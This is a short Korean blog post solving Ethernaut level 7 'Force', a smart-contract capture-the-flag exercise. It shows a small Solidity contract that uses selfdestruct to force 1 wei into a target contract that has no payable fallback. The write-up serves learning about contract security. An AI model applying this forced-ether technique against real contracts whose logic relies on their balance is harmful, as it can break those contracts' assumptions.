블록체인
[이더넛] 레벨7 'Force' 풀기
orbing
2021. 8. 12. 22:03
[이더넛] 레벨7 'Force' 풀기
[목표]
타겟컨트랙트 'Force'의
잔고를 0 이상으로 만들어라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Force 컨트랙트를 보면
이상한 고양이만 있고 아무것도 없습니다.
컨트랙트가 EOA를 통해
이더를 받으려면
fallback function payable이 있어야
하는데 없습니다.
하지만
스마트컨트랙트를 하나 더 만들어서
selfdestruct 시켜 강제로
Force 컨트랙트로 입금되게 하면 가능합니다.
pragma solidity 0.8.6;
contract force_Deposit {
constructor() payable {
}
function destroy() public {
selfdestruct(payable(0x1117C8c73376DBBFAe2D91Cf9e6BC3FBa39bB50a));
}
}
스마트컨트랙트 force_Deposit에
1웨이를 넣어 배포했습니다.
그 다음 destroy 함수를 실행시켜서
Force 스마트컨트랙트에 강제로
1웨이를 입금시켰습니다.
destroy 함수를 실행 후
Force 스마트컨트랙트의 잔고가
1wei로 증가했습니다.
성공~!